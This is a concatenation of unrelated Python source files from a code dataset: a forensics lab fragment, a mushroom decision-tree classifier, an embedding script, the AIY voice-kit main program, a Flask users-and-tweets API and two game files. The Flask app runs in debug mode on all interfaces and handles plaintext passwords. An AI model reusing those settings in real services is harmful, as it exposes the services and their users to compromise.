{:02x}{:02x} {:02x}{:02x}\".format(\r\n slack[i], slack[i+1],slack[i+2],slack[i+3],\r\n slack[i+4],slack[i+5],slack[i+6],slack[i+7])\r\n print(formatted)\r\n \r\n\r\n\r\n","repo_name":"hokolomopo/forensicsFile","sub_path":"src/lab4.py","file_name":"lab4.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74861042085","text":"import pandas as pd\nimport numpy as np\nimport traceback\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nimport pydot\nfrom sklearn import tree\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.tree import export_graphviz\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn.datasets import load_digits\nfrom sklearn.svm import SVC\nfrom sklearn import metrics\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import learning_curve\nfrom sklearn.model_selection import ShuffleSplit\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import validation_curve\n#########################################\n# Data Preparation \n#########################################\ndirt = \"\"\ndef getData2():\n mush = pd.read_csv(dirt + 'mush.csv')\n mush.dropna(inplace=True)\n mush['edible']=mush['edible'].astype('category')\n mush['cap-shape']=mush['cap-shape'].astype('category')\n mush['cap-surface']=mush['cap-surface'].astype('category')\n mush['cap-color']=mush['cap-color'].astype('category')\n mush['bruises']=mush['bruises'].astype('category')\n mush['odor']=mush['odor'].astype('category')\n mush['gill-attachment']=mush['gill-attachment'].astype('category')\n mush['gill-spacing']=mush['gill-spacing'].astype('category')\n mush['gill-size']=mush['gill-size'].astype('category')\n mush['gill-color']=mush['gill-color'].astype('category')\n mush['stalk-shape']=mush['stalk-shape'].astype('category')\n mush['stalk-root']=mush['stalk-root'].astype('category')\n mush['stalk-surface-above-ring']=mush['stalk-surface-above-ring'].astype('category')\n mush['stalk-surface-below-ring']=mush['stalk-surface-below-ring'].astype('category')\n mush['stalk-color-above-ring']=mush['stalk-color-above-ring'].astype('category')\n mush['stalk-color-below-ring']=mush['stalk-color-below-ring'].astype('category')\n mush['veil-type']=mush['veil-type'].astype('category')\n mush['veil-color']=mush['veil-color'].astype('category')\n mush['ring-number']=mush['ring-number'].astype('category')\n mush['ring-type']=mush['ring-type'].astype('category')\n mush['spore-print-color']=mush['spore-print-color'].astype('category')\n mush['population']=mush['population'].astype('category')\n mush['habitat']=mush['habitat'].astype('category')\n Xcols=['cap-shape','cap-surface','cap-color','bruises','odor','gill-attachment','gill-spacing','gill-size','gill-color',\n 'stalk-shape','stalk-root','stalk-surface-above-ring',\n 'stalk-surface-below-ring','stalk-color-above-ring','stalk-color-below-ring','veil-type','veil-color','ring-number',\n 'ring-type','spore-print-color','population','habitat']\n Ycol = ['edible']\n #######################3\n Xcols=mush[Xcols]\n Xcols=pd.get_dummies(Xcols)\n Xcols.dtypes\n X = pd.concat([Xcols], axis=1)\n feature_names=X.columns\n Y = mush[Ycol]\n print(\"get data mushroom!\")\n return X,Y,feature_names\n#############################################3\n\ndef plot_learning_curves(model, X, Y,stepsize):\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2,random_state=42)\n train_scores, val_scores = [], []\n for m in range (1, int(len(X_train)),stepsize):\n model.fit(X_train[:m], Y_train[:m])\n Y_train_predict = model.predict(X_train[:m])\n Y_test_predict = model.predict(X_test)\n train_scores.append(metrics.accuracy_score(Y_train[:m], Y_train_predict))\n val_scores.append(metrics.accuracy_score(Y_test, Y_test_predict))\n plt.plot(np.sqrt(train_scores), \"r-+\", linewidth=2, label=\"Training\")\n plt.plot(np.sqrt(val_scores), \"b-\", linewidth=3, label=\"Validation\")\n plt.grid()\n plt.ylim(0.5,1.01)\n plt.xlabel('Train data size')\n plt.ylabel('Accuracy Score')\n plt.legend(loc=\"best\",prop={'size': 10},shadow=False, fancybox=False)\n plt.title(\"Learning Curves\")\n return plt\n##########################################################\nif __name__ == \"__main__\":\n try: #########################################\n # Data Preparation \n #########################################\n X,Y,feature_names=getData2()\n\n ## #######################################\n # Intial Train/test split \n #########################################\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size = 0.2,random_state=42)\n ##################################################################################\n ## Learning Curve \n ##################################################################################\n mush_tree = tree.DecisionTreeClassifier(criterion='entropy', max_depth=len(X.columns))\n mush_tree.fit(X_train, Y_train)\n predictions = mush_tree.predict(X_test)\n plt=plot_learning_curves(mush_tree, X, Y,10)\n plt.savefig(\"DT_mushroom_LearningCurve\")\n ##################################################################################\n ## Tuning and Pruning\n #######################################################################################\n fmax_depth = 4\n fmax_leaf_nodes = 5\n ftest_size = 0.2\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=ftest_size,random_state=42)\n mush_tree = tree.DecisionTreeClassifier(criterion='entropy', max_depth=fmax_depth, max_leaf_nodes=fmax_leaf_nodes)\n mush_tree.fit(X_train, Y_train)\n #######################################################################################\n # 10-fold cross-validation\n #######################################################################################\n predictions = mush_tree.predict(X_test)\n print(metrics.confusion_matrix(Y_test, predictions))\n print(\"Accuracy Score =\", metrics.accuracy_score(Y_test, predictions))\n print(cross_val_score(mush_tree, X_train, Y_train, cv=5, scoring = \"accuracy\"))\n\n #######################################################################################\n ## Decision Tree Visualization\n #######################################################################################\n export_graphviz(mush_tree, out_file=\"tree_mushroom.dot\", feature_names=feature_names,\n class_names=('0','1','2','3','4','5'), rounded=True,filled=True)\n (graph,) = pydot.graph_from_dot_file('tree_mushroom.dot')\n graph.write_png('dt_mushroom.png')\n #######################################################################################\n ## Feature ranking Visualization\n #######################################################################################\n importances = mush_tree.feature_importances_\n indices = np.argsort(importances)[::-1]\n # Print the feature ranking\n #print(\"Feature ranking:\")\n #for f in range(X.shape[1]):\n # print(\"%d. feature %d (%f)\" % (f + 1, indices[f], importances[indices[f]]))\n # Plot the feature importances \n plt.figure()\n plt.title(\"Feature importances\")\n plt.bar(range(X.shape[1]), importances[indices],color=\"r\", align=\"center\")\n plt.xticks(range(X.shape[1]), indices)\n plt.xlim([-1, 10])\n plt.savefig(\"FI_mushroom.png\")\n\n##########################################################\n clf = SVC()\n# clf.fit(X, Y) \n# SVC(C=1.0, cache_size=200, class_weight=None, coef0=0.0,\n# decision_function_shape='ovr', degree=3, gamma='auto', kernel='rbf',\n# max_iter=-1, probability=False, random_state=None, shrinking=True,\n# tol=0.001, verbose=False)\n except:\n traceback.print_exc()\n","repo_name":"CaiXing0808/MachineLearning","sub_path":"DT_mushroom.py","file_name":"DT_mushroom.py","file_ext":"py","file_size_in_byte":7627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"3790980635","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 17 13:54:46 2020\n\n@author: VictorRosi\n\"\"\"\n\nimport torch\nfrom torch.utils.tensorboard import SummaryWriter\nfrom gensim.models.keyedvectors import KeyedVectors\nimport json\nimport re\nimport os, os.path\nimport nltk\nimport numpy as np\nfrom embedding_func import embedding_token_gen, embedding_visualization\n\n\nterm = 'rond'\nquestion = 'Q2'\ncutoff = 2\n\ncorpus_file = '/Users/VictorRosi/Documents/GitHub/interview_analysis/corpus_rearranged_1/'+term+'.json'\nexpert_file = '/Users/VictorRosi/Documents/GitHub/interview_analysis/expert_index.json'\nunigram_file = '/Users/VictorRosi/Documents/GitHub/interview_analysis/corpus_lemm/'+term+'_'+question+'_.json'\n\n\n\n# Open corpus file\nwith open(corpus_file) as json_file:\n data = json.load(json_file)\n \n \n# Open expert file\nwith open(expert_file) as json_file:\n ex_data = json.load(json_file)\n \n# Open unigram/frequency file\nwith open(unigram_file) as json_file:\n uni_data = json.load(json_file)\n \n# Open stop word file for embedding only\nfile = \"/Users/VictorRosi/Documents/GitHub/interview_analysis/new_stopwords_fr.txt\"\nstopFile = open(file, 'r', encoding=\"utf-8\")\nyourResult = np.array([line.split('\\n')\n for line in stopFile.readlines()])[:, 0]\nstopWord = list(yourResult)\nfile = \"/Users/VictorRosi/Documents/GitHub/interview_analysis/minus_stopwords.txt\"\nstopFile = open(file, 'r', encoding=\"utf-8\")\ntemp = [line.split(' ') for line in stopFile.readlines()]\nexStopWord = temp[0]\nstopWord = [x for x in stopWord if x not in exStopWord]\n# qq\n# Open lemm file for embedding only\nlemm_file = '/Users/VictorRosi/Documents/GitHub/interview_analysis/lemm_file.json'\nwith open(lemm_file, encoding=\"utf-8\") as json_file:\n lemms = json.load(json_file)\n \n\nanswers = []\nID = []\nprof = []\n\nfor i, k in enumerate(data[question]):\n answers.append(k['answer'])\n ID.append(k['expertID'])\n \n#%% QUERY WORDS\nquery_word = []\nfor index, lemm in enumerate(set(uni_data)):\n if uni_data[lemm]['freq'] >= cutoff and uni_data[lemm]:\n query_word += uni_data[lemm]['words']\n \n \n#%% INDEX SENTENCES IN CORPUS\n\nsentences_list = []\nsentence_query = {}\n\nfor i,answer in enumerate(answers):\n sentences = []\n sent_temp =[]\n sentences = re.split(r'[\\.*,*?]| et | mais | ou ', answer)\n for j, sentence in enumerate(sentences):\n for word in query_word:\n if word in sentence:\n sent_temp.append(sentence)\n sentence_query[ID[i]] = sent_temp\n \nfor i, query in enumerate(set(sentence_query)):\n sentence_query[query] = list(dict.fromkeys(sentence_query[query]))\n\n\n#%% EMBEDDING COMPUTATION\noutputdir = '/Users/VictorRosi/Documents/GitHub/interview_analysis/embedding/output'\nmodel_file = '/Users/VictorRosi/Documents/GitHub/interview_analysis/embedding/frWiki_no_phrase_no_postag_500_cbow_cut10.bin'\n \ncorpus_tok, corpus_sent = embedding_visualization(sentence_query, stopWord, lemms, outputdir, model_file)\n\n\n\n \n","repo_name":"VRosi/interview_analysis","sub_path":"tensor_sentence.py","file_name":"tensor_sentence.py","file_ext":"py","file_size_in_byte":3029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"31667143941","text":"import logging\nimport os\nimport os.path\nimport sys\nimport threading\nimport time\n\nimport configargparse\n\nimport aiy.audio\nimport aiy.i18n\nimport auth_helpers\nimport action\nimport speech\n\n# =============================================================================\n#\n# Hey, Makers!\n#\n# Are you looking for actor.add_keyword? Do you want to add a new command?\n# You need to edit src/action.py. Check out the instructions at:\n# https://aiyprojects.withgoogle.com/voice/#makers-guide-3-3--create-a-new-voice-command-or-action\n#\n# =============================================================================\n\nlogging.basicConfig(\n level=logging.INFO,\n format=\"[%(asctime)s] %(levelname)s:%(name)s:%(message)s\"\n)\nlogger = logging.getLogger('main')\n\nCACHE_DIR = os.getenv('XDG_CACHE_HOME') or os.path.expanduser('~/.cache')\nVR_CACHE_DIR = os.path.join(CACHE_DIR, 'voice-recognizer')\n\nCONFIG_DIR = os.getenv('XDG_CONFIG_HOME') or os.path.expanduser('~/.config')\nCONFIG_FILES = [\n '/etc/voice-recognizer.ini',\n os.path.join(CONFIG_DIR, 'voice-recognizer.ini')\n]\n\n# Legacy fallback: old locations of secrets/credentials.\nOLD_CLIENT_SECRETS = os.path.expanduser('~/client_secrets.json')\nOLD_SERVICE_CREDENTIALS = os.path.expanduser('~/credentials.json')\n\nASSISTANT_CREDENTIALS = (\n os.path.join(VR_CACHE_DIR, 'assistant_credentials.json')\n)\n\n# Where the locale/language bundles are stored\nLOCALE_DIR = os.path.realpath(\n os.path.join(os.path.abspath(os.path.dirname(__file__)), '../po'))\n\n\ndef try_to_get_credentials(client_secrets):\n \"\"\"Try to get credentials, or print an error and quit on failure.\"\"\"\n\n if os.path.exists(ASSISTANT_CREDENTIALS):\n return auth_helpers.load_credentials(ASSISTANT_CREDENTIALS)\n\n if not os.path.exists(VR_CACHE_DIR):\n os.mkdir(VR_CACHE_DIR)\n\n if not os.path.exists(client_secrets) and os.path.exists(OLD_CLIENT_SECRETS):\n client_secrets = OLD_CLIENT_SECRETS\n\n if not os.path.exists(client_secrets):\n print('You need client secrets to use the Assistant API.')\n print('Follow these instructions:')\n print(' https://developers.google.com/api-client-library/python/auth/installed-app'\n '#creatingcred')\n print('and put the file at', client_secrets)\n sys.exit(1)\n\n if not os.getenv('DISPLAY') and not sys.stdout.isatty():\n print(\"\"\"\nTo use the Assistant API, manually start the application from the dev terminal.\nSee the \"Turn on the Assistant API\" section of the Voice Recognizer\nUser's Guide for more info.\"\"\")\n sys.exit(1)\n\n credentials = auth_helpers.credentials_flow_interactive(client_secrets)\n auth_helpers.save_credentials(ASSISTANT_CREDENTIALS, credentials)\n logging.info('OAuth credentials initialized: %s', ASSISTANT_CREDENTIALS)\n return credentials\n\n\ndef create_pid_file(file_name):\n if not file_name:\n # Try the default locations of the pid file, preferring /run/user as\n # it uses tmpfs.\n pid_dir = '/run/user/%d' % os.getuid()\n if not os.path.isdir(pid_dir):\n pid_dir = '/tmp'\n file_name = os.path.join(pid_dir, 'voice-recognizer.pid')\n\n with open(file_name, 'w') as pid_file:\n pid_file.write(\"%d\" % os.getpid())\n\n\ndef main():\n parser = configargparse.ArgParser(\n default_config_files=CONFIG_FILES,\n description=\"Act on voice commands using Google's speech recognition\")\n parser.add_argument('-T', '--trigger', default='gpio',\n choices=['clap', 'gpio', 'ok-google'], help='Trigger to use')\n parser.add_argument('--cloud-speech', action='store_true',\n help='Use the Cloud Speech API instead of the Assistant API')\n parser.add_argument('-L', '--language', default='en-US',\n help='Language code to use for speech (default: en-US)')\n parser.add_argument('-l', '--led-fifo', default='/tmp/status-led',\n help='Status led control fifo')\n parser.add_argument('-p', '--pid-file',\n help='File containing our process id for monitoring')\n parser.add_argument('--audio-logging', action='store_true',\n help='Log all requests and responses to WAV files in /tmp')\n parser.add_argument('--assistant-always-responds', action='store_true',\n help='Play Assistant responses for local actions.'\n ' You should make sure that you have IFTTT applets for'\n ' your actions to get the correct response, and also'\n ' that your actions do not call say().')\n parser.add_argument('--assistant-secrets',\n default=os.path.expanduser('~/assistant.json'),\n help='Path to client secrets for the Assistant API')\n parser.add_argument('--cloud-speech-secrets',\n default=os.path.expanduser('~/cloud_speech.json'),\n help='Path to service account credentials for the '\n 'Cloud Speech API')\n parser.add_argument('--trigger-sound', default=None,\n help='Sound when trigger is activated (WAV format)')\n\n args = parser.parse_args()\n\n create_pid_file(args.pid_file)\n aiy.i18n.set_locale_dir(LOCALE_DIR)\n aiy.i18n.set_language_code(args.language, gettext_install=True)\n\n player = aiy.audio.get_player()\n\n if args.cloud_speech:\n credentials_file = os.path.expanduser(args.cloud_speech_secrets)\n if not os.path.exists(credentials_file) and os.path.exists(OLD_SERVICE_CREDENTIALS):\n credentials_file = OLD_SERVICE_CREDENTIALS\n recognizer = speech.CloudSpeechRequest(credentials_file)\n else:\n credentials = try_to_get_credentials(\n os.path.expanduser(args.assistant_secrets))\n recognizer = speech.AssistantSpeechRequest(credentials)\n\n status_ui = StatusUi(player, args.led_fifo, args.trigger_sound)\n\n # The ok-google trigger is handled with the Assistant Library, so we need\n # to catch this case early.\n if args.trigger == 'ok-google':\n if args.cloud_speech:\n print('trigger=ok-google only works with the Assistant, not with '\n 'the Cloud Speech API.')\n sys.exit(1)\n do_assistant_library(args, credentials, player, status_ui)\n else:\n recorder = aiy.audio.get_recorder()\n with recorder:\n do_recognition(args, recorder, recognizer, player, status_ui)\n\n\ndef do_assistant_library(args, credentials, player, status_ui):\n \"\"\"Run a recognizer using the Google Assistant Library.\n\n The Google Assistant Library has direct access to the audio API, so this\n Python code doesn't need to record audio.\n \"\"\"\n\n try:\n from google.assistant.library import Assistant\n from google.assistant.library.event import EventType\n except ImportError:\n print('''\nERROR: failed to import the Google Assistant Library. This is required for\n\"OK Google\" hotwording, but is only available for Raspberry Pi 2/3. It can be\ninstalled with:\n env/bin/pip install google-assistant-library==0.0.2''')\n sys.exit(1)\n\n say = aiy.audio.say\n actor = action.make_actor(say)\n\n def process_event(event):\n logging.info(event)\n\n if event.type == EventType.ON_START_FINISHED:\n status_ui.status('ready')\n if sys.stdout.isatty():\n print('Say \"OK, Google\" then speak, or press Ctrl+C to quit...')\n\n elif event.type == EventType.ON_CONVERSATION_TURN_STARTED:\n status_ui.status('listening')\n\n elif event.type == EventType.ON_END_OF_UTTERANCE:\n status_ui.status('thinking')\n\n elif event.type == EventType.ON_RECOGNIZING_SPEECH_FINISHED and \\\n event.args and actor.can_handle(event.args['text']):\n if not args.assistant_always_responds:\n assistant.stop_conversation()\n actor.handle(event.args['text'])\n\n elif event.type == EventType.ON_CONVERSATION_TURN_FINISHED:\n status_ui.status('ready')\n\n elif event.type == EventType.ON_ASSISTANT_ERROR and \\\n event.args and event.args['is_fatal']:\n sys.exit(1)\n\n with Assistant(credentials) as assistant:\n for event in assistant.start():\n process_event(event)\n\n\ndef do_recognition(args, recorder, recognizer, player, status_ui):\n \"\"\"Configure and run the recognizer.\"\"\"\n say = aiy.audio.say\n actor = action.make_actor(say)\n\n if args.cloud_speech:\n action.add_commands_just_for_cloud_speech_api(actor, say)\n\n recognizer.add_phrases(actor)\n recognizer.set_audio_logging_enabled(args.audio_logging)\n\n if args.trigger == 'gpio':\n import triggers.gpio\n triggerer = triggers.gpio.GpioTrigger(channel=23)\n msg = 'Press the button on GPIO 23'\n elif args.trigger == 'clap':\n import triggers.clap\n triggerer = triggers.clap.ClapTrigger(recorder)\n msg = 'Clap your hands'\n else:\n logger.error(\"Unknown trigger '%s'\", args.trigger)\n return\n\n mic_recognizer = SyncMicRecognizer(\n actor, recognizer, recorder, player, say, triggerer, status_ui,\n args.assistant_always_responds)\n\n with mic_recognizer:\n if sys.stdout.isatty():\n print(msg + ' then speak, or press Ctrl+C to quit...')\n\n # wait for KeyboardInterrupt\n while True:\n time.sleep(1)\n\n\nclass StatusUi(object):\n\n \"\"\"Gives the user status feedback.\n\n The LED and optionally a trigger sound tell the user when the box is\n ready, listening or thinking.\n \"\"\"\n\n def __init__(self, player, led_fifo, trigger_sound):\n self.player = player\n\n if led_fifo and os.path.exists(led_fifo):\n self.led_fifo = led_fifo\n else:\n if led_fifo:\n logger.warning(\n 'File %s specified for --led-fifo does not exist.',\n led_fifo)\n self.led_fifo = None\n\n if trigger_sound and os.path.exists(os.path.expanduser(trigger_sound)):\n self.trigger_sound = os.path.expanduser(trigger_sound)\n else:\n if trigger_sound:\n logger.warning(\n 'File %s specified for --trigger-sound does not exist.',\n trigger_sound)\n self.trigger_sound = None\n\n def status(self, status):\n if self.led_fifo:\n with open(self.led_fifo, 'w') as led:\n led.write(status + '\\n')\n logger.info('%s...', status)\n\n if status == 'listening' and self.trigger_sound:\n self.player.play_wav(self.trigger_sound)\n\n\nclass SyncMicRecognizer(object):\n\n \"\"\"Detects triggers and runs recognition in a background thread.\n\n This is a context manager, so it will clean up the background thread if the\n main program is interrupted.\n \"\"\"\n\n # pylint: disable=too-many-instance-attributes\n\n def __init__(self, actor, recognizer, recorder, player, say, triggerer,\n status_ui, assistant_always_responds):\n self.actor = actor\n self.player = player\n self.recognizer = recognizer\n self.recognizer.set_endpointer_cb(self.endpointer_cb)\n self.recorder = recorder\n self.say = say\n self.triggerer = triggerer\n self.triggerer.set_callback(self.recognize)\n self.status_ui = status_ui\n self.assistant_always_responds = assistant_always_responds\n\n self.running = False\n\n self.recognizer_event = threading.Event()\n\n def __enter__(self):\n self.running = True\n threading.Thread(target=self._recognize).start()\n self.triggerer.start()\n self.status_ui.status('ready')\n\n def __exit__(self, *args):\n self.running = False\n self.recognizer_event.set()\n\n self.recognizer.end_audio()\n\n def recognize(self):\n if self.recognizer_event.is_set():\n # Duplicate trigger (eg multiple button presses)\n return\n\n self.status_ui.status('listening')\n self.recognizer.reset()\n self.recorder.add_processor(self.recognizer)\n # Tell recognizer to run\n self.recognizer_event.set()\n\n def endpointer_cb(self):\n self.recorder.remove_processor(self.recognizer)\n self.status_ui.status('thinking')\n\n def _recognize(self):\n while self.running:\n self.recognizer_event.wait()\n if not self.running:\n break\n\n logger.info('recognizing...')\n try:\n self._handle_result(self.recognizer.do_request())\n except speech.Error:\n logger.exception('Unexpected error')\n self.say(_('Unexpected error. Try again or check the logs.'))\n\n self.recognizer_event.clear()\n if self.recognizer.dialog_follow_on:\n self.recognize()\n else:\n self.triggerer.start()\n self.status_ui.status('ready')\n\n def _handle_result(self, result):\n if result.transcript and self.actor.handle(result.transcript):\n logger.info('handled local command: %s', result.transcript)\n if result.response_audio and self.assistant_always_responds:\n self._play_assistant_response(result.response_audio)\n elif result.response_audio:\n self._play_assistant_response(result.response_audio)\n elif result.transcript:\n logger.warning('%r was not handled', result.transcript)\n else:\n logger.warning('no command recognized')\n\n def _play_assistant_response(self, audio_bytes):\n bytes_per_sample = speech.AUDIO_SAMPLE_SIZE\n sample_rate_hz = speech.AUDIO_SAMPLE_RATE_HZ\n logger.info('Playing %.4f seconds of audio...',\n len(audio_bytes) / (bytes_per_sample * sample_rate_hz))\n self.player.play_bytes(audio_bytes, sample_width=bytes_per_sample,\n sample_rate=sample_rate_hz)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"hellmanj/AIY-voice-kit-python","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14139,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"50"} +{"seq_id":"74423292636","text":"from time import strftime, gmtime\n\nfrom flask import Flask, jsonify, make_response, abort, request, render_template, redirect, url_for, session\nfrom flask_cors import CORS, cross_origin\nimport json\nimport sqlite3\n\nimport v1\nimport v2\n\napp = Flask(__name__)\napp.config['JSONIFY_PRETTYPRINT_REGULAR'] = False\n\nCORS(app)\n# cors = CORS(app, resources={r\"/api/*\": {\"origins\": \"*\"}})\n\n@app.route('/')\ndef main():\n return render_template('main.html')\n\n@app.route('/addname')\ndef addname():\n if request.args.get('yourname'):\n session['name'] = request.args.get('yourname')\n return redirect(url_for('main'))\n else:\n return render_template('addname.html', session=session)\n\n@app.route('/clear')\ndef clearsession():\n session.clear()\n return redirect(url_for('main'))\n\n@app.route('/set_cookie')\ndef cookie_insertion():\n redirect_to_main = redirect('/')\n response = app.make_response(redirect_to_main)\n response.set_cookie('cookie_name',value='values')\n\n return response\n\n@app.route(\"/adduser\")\ndef adduser():\n return render_template(\"adduser.html\")\n\n@app.route('/addtweets')\ndef addtweet():\n return render_template(\"addtweets.html\")\n\n\n@app.route(\"/api/v1/info\")\ndef home_index():\n conn = sqlite3.connect('ch3.db')\n print(\"Opened DB Successfully.\")\n api_list=[]\n fields = ('buildtime', 'version', 'methods', 'links')\n # cur = conn.execute(\"SELECT buildtime, version, methods, links from apirelease\")\n # q = \"SELECT %s, %s, %s, %s from apirelease;\" % fields\n # print(q)\n cur = conn.execute(\"SELECT %s, %s, %s, %s from apirelease;\" % fields)\n\n for row in cur:\n # a_dict = {}\n a_dict = {fields[idx]:row[idx] for idx in range(len(fields))}\n api_list.append(a_dict)\n\n conn.close()\n return jsonify({'api_version':api_list}), 200\n\n@app.route('/api/v1/users', methods=['GET'])\ndef get_users():\n return v1.list_users()\n\n@app.route('/api/v1/users/', methods=['GET'])\ndef get_user(user_id):\n return v1.list_user(user_id)\n\n\n@app.route('/api/v1/users', methods=['POST'])\ndef create_user():\n req = request.json\n if not req or not 'username' in req or not 'email' in req or not 'password' in req:\n abort(400)\n user = {\n 'username': request.json['username'],\n 'email': request.json['email'],\n 'name': request.json.get('name',\"\"),\n 'password': request.json['password']\n }\n return jsonify({'status': v1.add_user(user)}), 201\n\n@app.route('/api/v1/users/', methods=['PUT'])\ndef update_user(user_id):\n user = {}\n if not request.json:\n abort(400)\n user['id'] = user_id\n key_list = request.json.keys()\n for i in key_list:\n user[i] = request.json[i]\n print(user)\n return jsonify({'status': v1.upd_user(user)}), 200\n\n\n@app.route('/api/v1/users', methods=['DELETE'])\ndef delete_user():\n if not request.json or not 'username' in request.json:\n abort(400)\n user = request.json['username']\n return jsonify({'status': v1.del_user(user)}), 200\n\n@app.route('/api/v2/tweets',methods=['GET'])\ndef get_tweets():\n return v2.list_tweets(), 200\n\n@app.route('/api/v2/tweets/',methods=['GET'])\ndef get_tweet(id):\n return v2.list_tweet(id), 200\n\n@app.route('/api/v2/tweets', methods=['POST'])\ndef tweet_route():\n req = request.json\n if not req or not 'username' in req or not 'body' in req:\n abort(400)\n tweet = {\n 'username':req['username'],\n 'body':req['body'],\n 'created_at': strftime(\"%Y-%m-%dT%H:%H:%SZ\", gmtime())\n }\n return jsonify({\"status\": v2.add_tweet(tweet)}), 201\n\n@app.errorhandler(404)\ndef resource_not_found(error):\n return make_response(jsonify({'error':'Resource not found!'}), 404)\n\n@app.errorhandler(400)\ndef resource_not_found(error):\n return make_response(jsonify({'error':'Bad Request!'}), 400)\n\n@app.errorhandler(409)\ndef user_found(error):\n return make_response(jsonify({'error':'Conflict! Record Exists.'}), 409)\n\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=5000, debug=True)\n\n","repo_name":"jmm-pcn-test/pcn_test_c3","sub_path":"ch3/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22619377282","text":"'''FarmerFox_Array_VIS_FOR_TK.py\r\nVersion of Aug. 29, 2018. Works with the formulation of\r\nMissionaries and Cannibals that uses a State class for\r\nrepresenting states.\r\n\r\n'''\r\n\r\nfrom show_state_array import initialize_tk, state_array, state_display, make_modalW\r\n\r\nfrom tkinter import font\r\n\r\nimport importlib.util\r\n\r\n\r\nWIDTH = 1700\r\nHEIGHT = 900\r\nTITLE = \"My Beloved Leader\"\r\n\r\nPROBLEM1 = None\r\n\r\ndef load_file():\r\n try:\r\n spec = importlib.util.spec_from_file_location(\"My_Beloved_Leader\", \"My_Beloved_Leader\" + \".py\")\r\n global PROBLEM1\r\n PROBLEM1 = spec.loader.load_module()\r\n spec.loader.exec_module(PROBLEM1)\r\n except Exception as e:\r\n print(e)\r\n exit(1)\r\n\r\ndef initialize_vis():\r\n load_file()\r\n\r\n initialize_tk(WIDTH, HEIGHT, TITLE, PROBLEM1.choice_faction)\r\n\r\ndef render_state(s):\r\n\r\n # Note that font creation is only allowed after the Tk root has been\r\n # defined. So we check here if the font creation is still needed,\r\n # and we do it (the first time this method is called).\r\n if PROBLEM1.year <= 2032.5:\r\n\r\n PROBLEM1.year += 0.5\r\n\r\n infos = [s.pp, s.stability, s.gov_support, s.money, s.citizen_approval]\r\n\r\n the_state_array = state_array()\r\n the_state_array.show(infos, PROBLEM1.year, PROBLEM1.Legal_immi, PROBLEM1.Illegal_immi)\r\n the_state_array.progress_bar(PROBLEM1.year)\r\n\r\n if PROBLEM1.year == 2023 or PROBLEM1.year == 2028 or PROBLEM1.year == 2033:\r\n make_modal_window(infos)\n\r\ndef make_modal_window(infos):\r\n return make_modalW(infos, PROBLEM1.year, PROBLEM1.choice_faction)\r\n","repo_name":"wenkaip-personal/python-immigrationGame","sub_path":"P3C using AutoPlayer/My_Beloved_Leader_Array_VIS_FOR_TK.py","file_name":"My_Beloved_Leader_Array_VIS_FOR_TK.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"11014023337","text":"\nimport time\nimport random\nimport pyglet\n\nfrom .. import mainscreen\nfrom .. import engine\nfrom .. import common\nfrom .. import settings\nfrom aranara.items import collector, attractor, emitter, block\n\n\nclass Level(mainscreen.MainScreen):\n \"\"\"The first level\"\"\"\n\n name = 'Level 7'\n\n def initLevel(self):\n \"\"\"Level specific logic\"\"\"\n #\n # Set the current world\n background = self.addBatch('background')\n foreground = self.addBatch('foreground')\n rocks = self.addBatch('rocks')\n ui = self.addBatch('ui')\n #\n # Set physics\n self.space.gravity = (0, -30.0)\n #\n # Create actors\n back = self.addActor(\n engine.SpriteActor('background', 'starfield-small.jpg', 1024 / 2, 640 / 2 + 100, batch=background))\n fore = engine.SpriteActor('foreground', 'moon-surface-2.png', 1024 / 2, 0, batch=foreground)\n fore.addPhysics(engine.PolygonSpritePhysics(\n 0, 0.5, 0.5,\n [\n (0.00, 0.00),\n (1.00, 0.00),\n (1.00, 0.61),\n (0.65, 0.89),\n (0.00, 0.75),\n ]\n ))\n self.addActor(fore)\n #\n self.score = 0\n self.score_text = engine.TextActor('score', pyglet.text.decode_attributed(\n '{color (255,255,255,255)}{font_size 32}Score 0'), batch=ui)\n self.score_text.x = 50\n self.score_text.y = 720\n self.addActor(self.score_text)\n\n #\n self.level_batch = self.addBatch('level-batch')\n #\n greeting = engine.TextActor(\n 'greeting',\n pyglet.text.decode_html(\n 'Aranara
